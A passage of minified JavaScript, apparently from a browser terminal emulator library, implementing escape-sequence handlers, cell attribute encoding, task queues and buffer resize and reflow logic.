this._activeBuffer.savedX=this._activeBuffer.x,this._activeBuffer.savedY=this._activeBuffer.ybase+this._activeBuffer.y,this._activeBuffer.savedCurAttrData.fg=this._curAttrData.fg,this._activeBuffer.savedCurAttrData.bg=this._curAttrData.bg,this._activeBuffer.savedCharset=this._charsetService.charset,!0}restoreCursor(e){return this._activeBuffer.x=this._activeBuffer.savedX||0,this._activeBuffer.y=Math.max(this._activeBuffer.savedY-this._activeBuffer.ybase,0),this._curAttrData.fg=this._activeBuffer.savedCurAttrData.fg,this._curAttrData.bg=this._activeBuffer.savedCurAttrData.bg,this._charsetService.charset=this._savedCharset,this._activeBuffer.savedCharset&&(this._charsetService.charset=this._activeBuffer.savedCharset),this._restrictCursor(),!0}setTitle(e){return this._windowTitle=e,this._onTitleChange.fire(e),!0}setIconName(e){return this._iconName=e,!0}setOrReportIndexedColor(e){const t=[],i=e.split(\";\");for(;i.length>1;){const e=i.shift(),s=i.shift();if(/^\\d+$/.exec(e)){const i=parseInt(e);if(L(i))if(\"?\"===s)t.push({type:0,index:i});else{const e=(0,m.parseColor)(s);e&&t.push({type:1,index:i,color:e})}}}return t.length&&this._onColor.fire(t),!0}setHyperlink(e){const t=e.split(\";\");return!(t.length<2)&&(t[1]?this._createHyperlink(t[0],t[1]):!t[0]&&this._finishHyperlink())}_createHyperlink(e,t){this._getCurrentLinkId()&&this._finishHyperlink();const i=e.split(\":\");let s;const r=i.findIndex((e=>e.startsWith(\"id=\")));return-1!==r&&(s=i[r].slice(3)||void 0),this._curAttrData.extended=this._curAttrData.extended.clone(),this._curAttrData.extended.urlId=this._oscLinkService.registerLink({id:s,uri:t}),this._curAttrData.updateExtended(),!0}_finishHyperlink(){return this._curAttrData.extended=this._curAttrData.extended.clone(),this._curAttrData.extended.urlId=0,this._curAttrData.updateExtended(),!0}_setOrReportSpecialColor(e,t){const i=e.split(\";\");for(let e=0;e<i.length&&!(t>=this._specialColors.length);++e,++t)if(\"?\"===i[e])this._onColor.fire([{type:0,index:this._specialColors[t]}]);else{const s=(0,m.parseColor)(i[e]);s&&this._onColor.fire([{type:1,index:this._specialColors[t],color:s}])}return!0}setOrReportFgColor(e){return this._setOrReportSpecialColor(e,0)}setOrReportBgColor(e){return this._setOrReportSpecialColor(e,1)}setOrReportCursorColor(e){return this._setOrReportSpecialColor(e,2)}restoreIndexedColor(e){if(!e)return this._onColor.fire([{type:2}]),!0;const t=[],i=e.split(\";\");for(let e=0;e<i.length;++e)if(/^\\d+$/.exec(i[e])){const s=parseInt(i[e]);L(s)&&t.push({type:2,index:s})}return t.length&&this._onColor.fire(t),!0}restoreFgColor(e){return this._onColor.fire([{type:2,index:256}]),!0}restoreBgColor(e){return this._onColor.fire([{type:2,index:257}]),!0}restoreCursorColor(e){return this._onColor.fire([{type:2,index:258}]),!0}nextLine(){return this._activeBuffer.x=0,this.index(),!0}keypadApplicationMode(){return this._logService.debug(\"Serial port requested application keypad.\"),this._coreService.decPrivateModes.applicationKeypad=!0,this._onRequestSyncScrollBar.fire(),!0}keypadNumericMode(){return this._logService.debug(\"Switching back to normal keypad.\"),this._coreService.decPrivateModes.applicationKeypad=!1,this._onRequestSyncScrollBar.fire(),!0}selectDefaultCharset(){return this._charsetService.setgLevel(0),this._charsetService.setgCharset(0,o.DEFAULT_CHARSET),!0}selectCharset(e){return 2!==e.length?(this.selectDefaultCharset(),!0):(\"/\"===e[0]||this._charsetService.setgCharset(S[e[0]],o.CHARSETS[e[1]]||o.DEFAULT_CHARSET),!0)}index(){return this._restrictCursor(),this._activeBuffer.y++,this._activeBuffer.y===this._activeBuffer.scrollBottom+1?(this._activeBuffer.y--,this._bufferService.scroll(this._eraseAttrData())):this._activeBuffer.y>=this._bufferService.rows&&(this._activeBuffer.y=this._bufferService.rows-1),this._restrictCursor(),!0}tabSet(){return this._activeBuffer.tabs[this._activeBuffer.x]=!0,!0}reverseIndex(){if(this._restrictCursor(),this._activeBuffer.y===this._activeBuffer.scrollTop){const e=this._activeBuffer.scrollBottom-this._activeBuffer.scrollTop;this._activeBuffer.lines.shiftElements(this._activeBuffer.ybase+this._activeBuffer.y,e,1),this._activeBuffer.lines.set(this._activeBuffer.ybase+this._activeBuffer.y,this._activeBuffer.getBlankLine(this._eraseAttrData())),this._dirtyRowTracker.markRangeDirty(this._activeBuffer.scrollTop,this._activeBuffer.scrollBottom)}else this._activeBuffer.y--,this._restrictCursor();return!0}fullReset(){return this._parser.reset(),this._onRequestReset.fire(),!0}reset(){this._curAttrData=l.DEFAULT_ATTR_DATA.clone(),this._eraseAttrDataInternal=l.DEFAULT_ATTR_DATA.clone()}_eraseAttrData(){return this._eraseAttrDataInternal.bg&=-67108864,this._eraseAttrDataInternal.bg|=67108863&this._curAttrData.bg,this._eraseAttrDataInternal}setgLevel(e){return this._charsetService.setgLevel(e),!0}screenAlignmentPattern(){const e=new u.CellData;e.content=1<<22|\"E\".charCodeAt(0),e.fg=this._curAttrData.fg,e.bg=this._curAttrData.bg,this._setCursor(0,0);for(let t=0;t<this._bufferService.rows;++t){const i=this._activeBuffer.ybase+this._activeBuffer.y+t,s=this._activeBuffer.lines.get(i);s&&(s.fill(e),s.isWrapped=!1)}return this._dirtyRowTracker.markAllDirty(),this._setCursor(0,0),!0}requestStatusString(e,t){const i=this._bufferService.buffer,s=this._optionsService.rawOptions;return(e=>(this._coreService.triggerDataEvent(`${n.C0.ESC}${e}${n.C0.ESC}\\\\`),!0))('\"q'===e?`P1$r${this._curAttrData.isProtected()?1:0}\"q`:'\"p'===e?'P1$r61;1\"p':\"r\"===e?`P1$r${i.scrollTop+1};${i.scrollBottom+1}r`:\"m\"===e?\"P1$r0m\":\" q\"===e?`P1$r${{block:2,underline:4,bar:6}[s.cursorStyle]-(s.cursorBlink?1:0)} q`:\"P0$r\")}markRangeDirty(e,t){this._dirtyRowTracker.markRangeDirty(e,t)}}t.InputHandler=E;let k=class{constructor(e){this._bufferService=e,this.clearRange()}clearRange(){this.start=this._bufferService.buffer.y,this.end=this._bufferService.buffer.y}markDirty(e){e<this.start?this.start=e:e>this.end&&(this.end=e)}markRangeDirty(e,t){e>t&&(w=e,e=t,t=w),e<this.start&&(this.start=e),t>this.end&&(this.end=t)}markAllDirty(){this.markRangeDirty(0,this._bufferService.rows-1)}};function L(e){return 0<=e&&e<256}k=s([r(0,v.IBufferService)],k)},844:(e,t)=>{function i(e){for(const t of e)t.dispose();e.length=0}Object.defineProperty(t,\"__esModule\",{value:!0}),t.getDisposeArrayDisposable=t.disposeArray=t.toDisposable=t.MutableDisposable=t.Disposable=void 0,t.Disposable=class{constructor(){this._disposables=[],this._isDisposed=!1}dispose(){this._isDisposed=!0;for(const e of this._disposables)e.dispose();this._disposables.length=0}register(e){return this._disposables.push(e),e}unregister(e){const t=this._disposables.indexOf(e);-1!==t&&this._disposables.splice(t,1)}},t.MutableDisposable=class{constructor(){this._isDisposed=!1}get value(){return this._isDisposed?void 0:this._value}set value(e){var t;this._isDisposed||e===this._value||(null===(t=this._value)||void 0===t||t.dispose(),this._value=e)}clear(){this.value=void 0}dispose(){var e;this._isDisposed=!0,null===(e=this._value)||void 0===e||e.dispose(),this._value=void 0}},t.toDisposable=function(e){return{dispose:e}},t.disposeArray=i,t.getDisposeArrayDisposable=function(e){return{dispose:()=>i(e)}}},1505:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.FourKeyMap=t.TwoKeyMap=void 0;class i{constructor(){this._data={}}set(e,t,i){this._data[e]||(this._data[e]={}),this._data[e][t]=i}get(e,t){return this._data[e]?this._data[e][t]:void 0}clear(){this._data={}}}t.TwoKeyMap=i,t.FourKeyMap=class{constructor(){this._data=new i}set(e,t,s,r,n){this._data.get(e,t)||this._data.set(e,t,new i),this._data.get(e,t).set(s,r,n)}get(e,t,i,s){var r;return null===(r=this._data.get(e,t))||void 0===r?void 0:r.get(i,s)}clear(){this._data.clear()}}},6114:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.isChromeOS=t.isLinux=t.isWindows=t.isIphone=t.isIpad=t.isMac=t.getSafariVersion=t.isSafari=t.isLegacyEdge=t.isFirefox=t.isNode=void 0,t.isNode=\"undefined\"==typeof navigator;const i=t.isNode?\"node\":navigator.userAgent,s=t.isNode?\"node\":navigator.platform;t.isFirefox=i.includes(\"Firefox\"),t.isLegacyEdge=i.includes(\"Edge\"),t.isSafari=/^((?!chrome|android).)*safari/i.test(i),t.getSafariVersion=function(){if(!t.isSafari)return 0;const e=i.match(/Version\\/(\\d+)/);return null===e||e.length<2?0:parseInt(e[1])},t.isMac=[\"Macintosh\",\"MacIntel\",\"MacPPC\",\"Mac68K\"].includes(s),t.isIpad=\"iPad\"===s,t.isIphone=\"iPhone\"===s,t.isWindows=[\"Windows\",\"Win16\",\"Win32\",\"WinCE\"].includes(s),t.isLinux=s.indexOf(\"Linux\")>=0,t.isChromeOS=/\\bCrOS\\b/.test(i)},6106:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.SortedList=void 0;let i=0;t.SortedList=class{constructor(e){this._getKey=e,this._array=[]}clear(){this._array.length=0}insert(e){0!==this._array.length?(i=this._search(this._getKey(e)),this._array.splice(i,0,e)):this._array.push(e)}delete(e){if(0===this._array.length)return!1;const t=this._getKey(e);if(void 0===t)return!1;if(i=this._search(t),-1===i)return!1;if(this._getKey(this._array[i])!==t)return!1;do{if(this._array[i]===e)return this._array.splice(i,1),!0}while(++i<this._array.length&&this._getKey(this._array[i])===t);return!1}*getKeyIterator(e){if(0!==this._array.length&&(i=this._search(e),!(i<0||i>=this._array.length)&&this._getKey(this._array[i])===e))do{yield this._array[i]}while(++i<this._array.length&&this._getKey(this._array[i])===e)}forEachByKey(e,t){if(0!==this._array.length&&(i=this._search(e),!(i<0||i>=this._array.length)&&this._getKey(this._array[i])===e))do{t(this._array[i])}while(++i<this._array.length&&this._getKey(this._array[i])===e)}values(){return[...this._array].values()}_search(e){let t=0,i=this._array.length-1;for(;i>=t;){let s=t+i>>1;const r=this._getKey(this._array[s]);if(r>e)i=s-1;else{if(!(r<e)){for(;s>0&&this._getKey(this._array[s-1])===e;)s--;return s}t=s+1}}return t}}},7226:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.DebouncedIdleTask=t.IdleTaskQueue=t.PriorityTaskQueue=void 0;const s=i(6114);class r{constructor(){this._tasks=[],this._i=0}enqueue(e){this._tasks.push(e),this._start()}flush(){for(;this._i<this._tasks.length;)this._tasks[this._i]()||this._i++;this.clear()}clear(){this._idleCallback&&(this._cancelCallback(this._idleCallback),this._idleCallback=void 0),this._i=0,this._tasks.length=0}_start(){this._idleCallback||(this._idleCallback=this._requestCallback(this._process.bind(this)))}_process(e){this._idleCallback=void 0;let t=0,i=0,s=e.timeRemaining(),r=0;for(;this._i<this._tasks.length;){if(t=Date.now(),this._tasks[this._i]()||this._i++,t=Math.max(1,Date.now()-t),i=Math.max(t,i),r=e.timeRemaining(),1.5*i>r)return s-t<-20&&console.warn(`task queue exceeded allotted deadline by ${Math.abs(Math.round(s-t))}ms`),void this._start();s=r}this.clear()}}class n extends r{_requestCallback(e){return setTimeout((()=>e(this._createDeadline(16))))}_cancelCallback(e){clearTimeout(e)}_createDeadline(e){const t=Date.now()+e;return{timeRemaining:()=>Math.max(0,t-Date.now())}}}t.PriorityTaskQueue=n,t.IdleTaskQueue=!s.isNode&&\"requestIdleCallback\"in window?class extends r{_requestCallback(e){return requestIdleCallback(e)}_cancelCallback(e){cancelIdleCallback(e)}}:n,t.DebouncedIdleTask=class{constructor(){this._queue=new t.IdleTaskQueue}set(e){this._queue.clear(),this._queue.enqueue(e)}flush(){this._queue.flush()}}},9282:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.updateWindowsModeWrappedState=void 0;const s=i(643);t.updateWindowsModeWrappedState=function(e){const t=e.buffer.lines.get(e.buffer.ybase+e.buffer.y-1),i=null==t?void 0:t.get(e.cols-1),r=e.buffer.lines.get(e.buffer.ybase+e.buffer.y);r&&i&&(r.isWrapped=i[s.CHAR_DATA_CODE_INDEX]!==s.NULL_CELL_CODE&&i[s.CHAR_DATA_CODE_INDEX]!==s.WHITESPACE_CELL_CODE)}},3734:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.ExtendedAttrs=t.AttributeData=void 0;class i{constructor(){this.fg=0,this.bg=0,this.extended=new s}static toColorRGB(e){return[e>>>16&255,e>>>8&255,255&e]}static fromColorRGB(e){return(255&e[0])<<16|(255&e[1])<<8|255&e[2]}clone(){const e=new i;return e.fg=this.fg,e.bg=this.bg,e.extended=this.extended.clone(),e}isInverse(){return 67108864&this.fg}isBold(){return 134217728&this.fg}isUnderline(){return this.hasExtendedAttrs()&&0!==this.extended.underlineStyle?1:268435456&this.fg}isBlink(){return 536870912&this.fg}isInvisible(){return 1073741824&this.fg}isItalic(){return 67108864&this.bg}isDim(){return 134217728&this.bg}isStrikethrough(){return 2147483648&this.fg}isProtected(){return 536870912&this.bg}isOverline(){return 1073741824&this.bg}getFgColorMode(){return 50331648&this.fg}getBgColorMode(){return 50331648&this.bg}isFgRGB(){return 50331648==(50331648&this.fg)}isBgRGB(){return 50331648==(50331648&this.bg)}isFgPalette(){return 16777216==(50331648&this.fg)||33554432==(50331648&this.fg)}isBgPalette(){return 16777216==(50331648&this.bg)||33554432==(50331648&this.bg)}isFgDefault(){return 0==(50331648&this.fg)}isBgDefault(){return 0==(50331648&this.bg)}isAttributeDefault(){return 0===this.fg&&0===this.bg}getFgColor(){switch(50331648&this.fg){case 16777216:case 33554432:return 255&this.fg;case 50331648:return 16777215&this.fg;default:return-1}}getBgColor(){switch(50331648&this.bg){case 16777216:case 33554432:return 255&this.bg;case 50331648:return 16777215&this.bg;default:return-1}}hasExtendedAttrs(){return 268435456&this.bg}updateExtended(){this.extended.isEmpty()?this.bg&=-268435457:this.bg|=268435456}getUnderlineColor(){if(268435456&this.bg&&~this.extended.underlineColor)switch(50331648&this.extended.underlineColor){case 16777216:case 33554432:return 255&this.extended.underlineColor;case 50331648:return 16777215&this.extended.underlineColor;default:return this.getFgColor()}return this.getFgColor()}getUnderlineColorMode(){return 268435456&this.bg&&~this.extended.underlineColor?50331648&this.extended.underlineColor:this.getFgColorMode()}isUnderlineColorRGB(){return 268435456&this.bg&&~this.extended.underlineColor?50331648==(50331648&this.extended.underlineColor):this.isFgRGB()}isUnderlineColorPalette(){return 268435456&this.bg&&~this.extended.underlineColor?16777216==(50331648&this.extended.underlineColor)||33554432==(50331648&this.extended.underlineColor):this.isFgPalette()}isUnderlineColorDefault(){return 268435456&this.bg&&~this.extended.underlineColor?0==(50331648&this.extended.underlineColor):this.isFgDefault()}getUnderlineStyle(){return 268435456&this.fg?268435456&this.bg?this.extended.underlineStyle:1:0}}t.AttributeData=i;class s{get ext(){return this._urlId?-469762049&this._ext|this.underlineStyle<<26:this._ext}set ext(e){this._ext=e}get underlineStyle(){return this._urlId?5:(469762048&this._ext)>>26}set underlineStyle(e){this._ext&=-469762049,this._ext|=e<<26&469762048}get underlineColor(){return 67108863&this._ext}set underlineColor(e){this._ext&=-67108864,this._ext|=67108863&e}get urlId(){return this._urlId}set urlId(e){this._urlId=e}constructor(e=0,t=0){this._ext=0,this._urlId=0,this._ext=e,this._urlId=t}clone(){return new s(this._ext,this._urlId)}isEmpty(){return 0===this.underlineStyle&&0===this._urlId}}t.ExtendedAttrs=s},9092:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.Buffer=t.MAX_BUFFER_SIZE=void 0;const s=i(6349),r=i(7226),n=i(3734),o=i(8437),a=i(4634),h=i(511),c=i(643),l=i(4863),d=i(7116);t.MAX_BUFFER_SIZE=4294967295,t.Buffer=class{constructor(e,t,i){this._hasScrollback=e,this._optionsService=t,this._bufferService=i,this.ydisp=0,this.ybase=0,this.y=0,this.x=0,this.tabs={},this.savedY=0,this.savedX=0,this.savedCurAttrData=o.DEFAULT_ATTR_DATA.clone(),this.savedCharset=d.DEFAULT_CHARSET,this.markers=[],this._nullCell=h.CellData.fromCharData([0,c.NULL_CELL_CHAR,c.NULL_CELL_WIDTH,c.NULL_CELL_CODE]),this._whitespaceCell=h.CellData.fromCharData([0,c.WHITESPACE_CELL_CHAR,c.WHITESPACE_CELL_WIDTH,c.WHITESPACE_CELL_CODE]),this._isClearing=!1,this._memoryCleanupQueue=new r.IdleTaskQueue,this._memoryCleanupPosition=0,this._cols=this._bufferService.cols,this._rows=this._bufferService.rows,this.lines=new s.CircularList(this._getCorrectBufferLength(this._rows)),this.scrollTop=0,this.scrollBottom=this._rows-1,this.setupTabStops()}getNullCell(e){return e?(this._nullCell.fg=e.fg,this._nullCell.bg=e.bg,this._nullCell.extended=e.extended):(this._nullCell.fg=0,this._nullCell.bg=0,this._nullCell.extended=new n.ExtendedAttrs),this._nullCell}getWhitespaceCell(e){return e?(this._whitespaceCell.fg=e.fg,this._whitespaceCell.bg=e.bg,this._whitespaceCell.extended=e.extended):(this._whitespaceCell.fg=0,this._whitespaceCell.bg=0,this._whitespaceCell.extended=new n.ExtendedAttrs),this._whitespaceCell}getBlankLine(e,t){return new o.BufferLine(this._bufferService.cols,this.getNullCell(e),t)}get hasScrollback(){return this._hasScrollback&&this.lines.maxLength>this._rows}get isCursorInViewport(){const e=this.ybase+this.y-this.ydisp;return e>=0&&e<this._rows}_getCorrectBufferLength(e){if(!this._hasScrollback)return e;const i=e+this._optionsService.rawOptions.scrollback;return i>t.MAX_BUFFER_SIZE?t.MAX_BUFFER_SIZE:i}fillViewportRows(e){if(0===this.lines.length){void 0===e&&(e=o.DEFAULT_ATTR_DATA);let t=this._rows;for(;t--;)this.lines.push(this.getBlankLine(e))}}clear(){this.ydisp=0,this.ybase=0,this.y=0,this.x=0,this.lines=new s.CircularList(this._getCorrectBufferLength(this._rows)),this.scrollTop=0,this.scrollBottom=this._rows-1,this.setupTabStops()}resize(e,t){const i=this.getNullCell(o.DEFAULT_ATTR_DATA);let s=0;const r=this._getCorrectBufferLength(t);if(r>this.lines.maxLength&&(this.lines.maxLength=r),this.lines.length>0){if(this._cols<e)for(let t=0;t<this.lines.length;t++)s+=+this.lines.get(t).resize(e,i);let n=0;if(this._rows<t)for(let s=this._rows;s<t;s++)this.lines.length<t+this.ybase&&(this._optionsService.rawOptions.windowsMode||void 0!==this._optionsService.rawOptions.windowsPty.backend||void 0!==this._optionsService.rawOptions.windowsPty.buildNumber?this.lines.push(new o.BufferLine(e,i)):this.ybase>0&&this.lines.length<=this.ybase+this.y+n+1?(this.ybase--,n++,this.ydisp>0&&this.ydisp--):this.lines.push(new o.BufferLine(e,i)));else for(let e=this._rows;e>t;e--)this.lines.length>t+this.ybase&&(this.lines.length>this.ybase+this.y+1?this.lines.pop():(this.ybase++,this.ydisp++));if(r<this.lines.maxLength){const e=this.lines.length-r;e>0&&(this.lines.trimStart(e),this.ybase=Math.max(this.ybase-e,0),this.ydisp=Math.max(this.ydisp-e,0),this.savedY=Math.max(this.savedY-e,0)),this.lines.maxLength=r}this.x=Math.min(this.x,e-1),this.y=Math.min(this.y,t-1),n&&(this.y+=n),this.savedX=Math.min(this.savedX,e-1),this.scrollTop=0}if(this.scrollBottom=t-1,this._isReflowEnabled&&(this._reflow(e,t),this._cols>e))for(let t=0;t<this.lines.length;t++)s+=+this.lines.get(t).resize(e,i);this._cols=e,this._rows=t,this._memoryCleanupQueue.clear(),s>.1*this.lines.length&&(this._memoryCleanupPosition=0,this._memoryCleanupQueue.enqueue((()=>this._batchedMemoryCleanup())))}_batchedMemoryCleanup(){let e=!0;this._memoryCleanupPosition>=this.lines.length&&(this._memoryCleanupPosition=0,e=!1);let t=0;for(;this._memoryCleanupPosition<this.lines.length;)if(t+=this.lines.get(this._memoryCleanupPosition++).cleanupMemory(),t>100)return!0;return e}get _isReflowEnabled(){const e=this._optionsService.rawOptions.windowsPty;return e&&e.buildNumber?this._hasScrollback&&\"conpty\"===e.backend&&e.buildNumber>=21376:this._hasScrollback&&!this._optionsService.rawOptions.windowsMode}_reflow(e,t){this._cols!==e&&(e>this._cols?this._reflowLarger(e,t):this._reflowSmaller(e,t))}_reflowLarger(e,t){const i=(0,a.reflowLargerGetLinesToRemove)(this.lines,this._cols,e,this.ybase+this.y,this.getNullCell(o.DEFAULT_ATTR_DATA));if(i.length>0){const s=(0,a.reflowLargerCreateNewLayout)(this.lines,i);(0,a.reflowLargerApplyNewLayout)(this.lines,s.layout),this._reflowLargerAdjustViewport(e,t,s.countRemoved)}}_reflowLargerAdjustViewport(e,t,i){const s=this.getNullCell(o.DEFAULT_ATTR_DATA);let r=i;for(;r-- >0;)0===this.ybase?(this.y>0&&this.y--,this.lines.length<t&&this.lines.push(new o.BufferLine(e,s))):(this.ydisp===this.ybase&&this.ydisp--,this.ybase--);this.savedY=Math.max(this.savedY-i,0)}_reflowSmaller(e,t){const i=this.getNullCell(o.DEFAULT_ATTR_DATA),s=[];let r=0;for(let n=this.lines.length-1;n>=0;n--){let h=this.lines.get(n);if(!h||!h.isWrapped&&h.getTrimmedLength()<=e)continue;const c=[h];for(;h.isWrapped&&n>0;)h=this.lines.get(--n),c.unshift(h);const l=this.ybase+this.y;if(l>=n&&l<n+c.length)continue;const d=c[c.length-1].getTrimmedLength(),_=(0,a.reflowSmallerGetNewLineLengths)(c,this._cols,e),u=_.length-c.length;let f;f=0===this.ybase&&this.y!==this.lines.length-1?Math.max(0,this.y-this.lines.maxLength+u):Math.max(0,this.lines.length-this.lines.maxLength+u);const v=[];for(let e=0;e<u;e++){const e=this.getBlankLine(o.DEFAULT_ATTR_DATA,!0);v.push(e)}v.length>0&&(s.push({start:n+c.length+r,newLines:v}),r+=v.length),c.push(...v);let p=_.length-1,g=_[p];0===g&&(p--,g=_[p]);let m=c.length-u-1,S=d;for(;m>=0;){const e=Math.min(S,g);if(void 0===c[p])break;if(c[p].copyCellsFrom(c[m],S-e,g-e,e,!0),g-=e,0===g&&(p--,g=_[p]),S-=e,0===S){m--;const e=Math.max(m,0);S=(0,a.getWrappedLineTrimmedLength)(c,e,this._cols)}}for(let t=0;t<c.length;t++)_[t]<e&&c[t].setCell(_[t],i);let C=u-f;for(;C-- >0;)0===this.ybase?this.y<t-1?(this.y++,this.lines.pop()):(this.ybase++,this.ydisp++):this.ybase<Math.min(this.lines.maxLength,this.lines.length+r)-t&&(this.ybase===this.ydisp&&this.ydisp++,this.ybase++);this.savedY=Math.min(this.savedY+u,this.ybase+t-1)}if(s.length>0){const e=[],t=[];for(let e=0;e<this.lines.length;e++)t.push(this.lines.get(e));const i=this.lines.length;let n=i-1,o=0,a=s[o];this.lines.length=Math.min(this.lines.maxLength,this.lines.length+r);let h=0;for(let c=Math.min(this.lines.maxLength-1,i+r-1);c>=0;c--)if(a&&a.start>n+h){for(let e=a.newLines.length-1;e>=0;e--)this.lines.set(c--,a.newLines[e]);c++,e.push({index:n+1,amount:a.newLines.length}),h+=a.newLines.length,a=s[++o]}else this.lines.set(c,t[n--]);let c=0;for(let t=e.length-1;t>=0;t--)e[t].index+=c,this.lines.onInsertEmitter.fire(e[t]),c+=e[t].amount;const l=Math.max(0,i+r-this.lines.maxLength);l>0&&this.lines.onTrimEmitter.fire(l)}}translateBufferLineToString(e,t,i=0,s){const r=this.lines.get(e);return r?r.translateToString(t,i,s):\"\"}getWrappedRangeForLine(e){let t=e,i=e;for(;t>0&&this.lines.get(t).isWrapped;)t--;for(;i+1<this.lines.length&&this.lines.get(i+1).isWrapped;)i++;return{first:t,last:i}}setupTabStops(e){for(null!=e?this.tabs[e]||(e=this.prevStop(e)):(this.tabs={},e=0);e<this._cols;e+=this._optionsService.rawOptions.tabStopWidth)this.tabs[e]=!0}prevStop(e){for(null==e&&(e=this.x);!this.tabs[--e]&&e>0;);return e>=this._cols?this._cols-1:e<0?0:e}nextStop(e){for(null==e&&(e=this.x);!this.tabs[++e]&&e<this._cols;);return e>=this._cols?this._cols-1:e<0?0:e}clearMarkers(e){this._isClearing=!0;for(let t=0;t<this.markers.length;t++)this.markers[t].line===e&&(this.markers[t].dispose(),this.markers.splice(t--,1));this._isClearing=!1}clearAllMarkers(){this._isClearing=!0;for(let e=0;e<this.markers.length;e++)this.markers[e].dispose(),this.markers.splice(e--,1);this._isClearing=!1}addMarker(e){const t=new l.Marker(e);return this.markers.push(t),t.register(this.lines.onTrim((e=>{t.line-=e,t.line<0&&t.dispose()}))),t.register(this.lines.onInsert((e=>{t.line>=e.index&&(t.line+=e.amount)}))),t.register(this.lines.onDelete((e=>{t.line>=e.index&&t.line<e.index+e.amount&&t.dispose(),t.line>e.index&&(t.line-=e.amount)}))),t.register(t.onDispose((()=>this._removeMarker(t)))),t}_removeMarker(e){this._isClearing||this.markers.splice(this.markers.indexOf(e),1)}}},8437:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.BufferLine=t.DEFAULT_ATTR_DATA=void 0;const s=i(3734),r=i(511),n=i(643),o=i(482);t.DEFAULT_ATTR_DATA=Object.freeze(new s.AttributeData);let a=0;class h{constructor(e,t,i=!1){this.isWrapped=i,this._combined={},this._extendedAttrs={},this._data=new Uint32Array(3*e);const s=t||r.CellData.fromCharData([0,n.NULL_CELL_CHAR,n.NULL_CELL_WIDTH,n.NULL_CELL_CODE]);for(let t=0;t<e;++t)this.setCell(t,s);this.length=e}get(e){const t=this._data[3*e+0],i=2097151&t;return[this._data[3*e+1],2097152&t?this._combined[e]:i?(0,o.stringFromCodePoint)(i):\"\",t>>22,2097152&t?this._combined[e].charCodeAt(this._combined[e].length-1):i]}set(e,t){this._data[3*e+1]=t[n.CHAR_DATA_ATTR_INDEX],t[n.CHAR_DATA_CHAR_INDEX].length>1?(this._combined[e]=t[1],this._data[3*e+0]=2097152|e|t[n.CHAR_DATA_WIDTH_INDEX]<<22):this._data[3*e+0]=t[n.CHAR_DATA_CHAR_INDEX].charCodeAt(0)|t[n.CHAR_DATA_WIDTH_INDEX]<<22}getWidth(e){return this._data[3*e+0]>>22}hasWidth(e){return 12582912&this._data[3*e+0]}getFg(e){return this._data[3*e+1]}getBg(e){return this._data[3*e+2]}hasContent(e){return 4194303&this._data[3*e+0]}getCodePoint(e){const t=this._data[3*e+0];return 2097152&t?this._combined[e].charCodeAt(this._combined[e].length-1):2097151&t}isCombined(e){return 2097152&this._data[3*e+0]}getString(e){const t=this._data[3*e+0];return 2097152&t?this._combined[e]:2097151&t?(0,o.stringFromCodePoint)(2097151&t):\"\"}isProtected(e){return 536870912&this._data[3*e+2]}loadCell(e,t){return a=3*e,t.content=this._data[a+0],t.fg=this._data[a+1],t.bg=this._data[a+2],2097152&t.content&&(t.combinedData=this._combined[e]),268435456&t.bg&&(t.extended=this._extendedAttrs[e]),t}setCell(e,t){2097152&t.content&&(this._combined[e]=t.combinedData),268435456&t.bg&&(this._extendedAttrs[e]=t.extended),this._data[3*e+0]=t.content,this._data[3*e+1]=t.fg,this._data[3*e+2]=t.bg}setCellFromCodePoint(e,t,i,s,r,n){268435456&r&&(this._extendedAttrs[e]=n),this._data[3*e+0]=t|i<<22,this._data[3*e+1]=s,this._data[3*e+2]=r}addCodepointToCell(e,t){let i=this._data[3*e+0];2097152&i?this._combined[e]+=(0,o.stringFromCodePoint)(t):(2097151&i?(this._combined[e]=(0,o.stringFromCodePoint)(2097151&i)+(0,o.stringFromCodePoint)(t),i&=-2097152,i|=2097152):i=t|1<<22,this._data[3*e+0]=i)}insertCells(e,t,i,n){if((e%=this.length)&&2===this.getWidth(e-1)&&this.setCellFromCodePoint(e-1,0,1,(null==n?void 0:n.fg)||0,(null==n?void 0:n.bg)||0,(null==n?void 0:n.extended)||new s.ExtendedAttrs),t<this.length-e){const s=new r.CellData;for(let i=this.length-e-t-1;i>=0;--i)this.setCell(e+t+i,this.loadCell(e+i,s));for(let s=0;s<t;++s)this.setCell(e+s,i)}else for(let t=e;t<this.length;++t)this.setCell(t,i);2===this.getWidth(this.length-1)&&this.setCellFromCodePoint(this.length-1,0,1,(null==n?void 0:n.fg)||0,(null==n?void 0:n.bg)||0,(null==n?void 0:n.extended)||new s.ExtendedAttrs)}deleteCells(e,t,i,n){if(e%=this.length,t<this.length-e){const s=new r.CellData;for(let i=0;i<this.length-e-t;++i)this.setCell(e+i,this.loadCell(e+t+i,s));for(let e=this.length-t;e<this.length;++e)this.setCell(e,i)}else for(let t=e;t<this.length;++t)this.setCell(t,i);e&&2===this.getWidth(e-1)&&this.setCellFromCodePoint(e-1,0,1,(null==n?void 0:n.fg)||0,(null==n?void 0:n.bg)||0,(null==n?void 0:n.extended)||new s.ExtendedAttrs),0!==this.getWidth(e)||this.hasContent(e)||this.setCellFromCodePoint(e,0,1,(null==n?void 0:n.fg)||0,(null==n?void 0:n.bg)||0,(null==n?void 0:n.extended)||new s.ExtendedAttrs)}replaceCells(e,t,i,r,n=!1){if(n)for(e&&2===this.getWidth(e-1)&&!this.isProtected(e-1)&&this.setCellFromCodePoint(e-1,0,1,(null==r?void 0:r.fg)||0,(null==r?void 0:r.bg)||0,(null==r?void 0:r.extended)||new s.ExtendedAttrs),t<this.length&&2===this.getWidth(t-1)&&!this.isProtected(t)&&this.setCellFromCodePoint(t,0,1,(null==r?void 0:r.fg)||0,(null==r?void 0:r.bg)||0,(null==r?void 0:r.extended)||new s.ExtendedAttrs);e<t&&e<this.length;)this.isProtected(e)||this.setCell(e,i),e++;else for(e&&2===this.getWidth(e-1)&&this.setCellFromCodePoint(e-1,0,1,(null==r?void 0:r.fg)||0,(null==r?void 0:r.bg)||0,(null==r?void 0:r.extended)||new 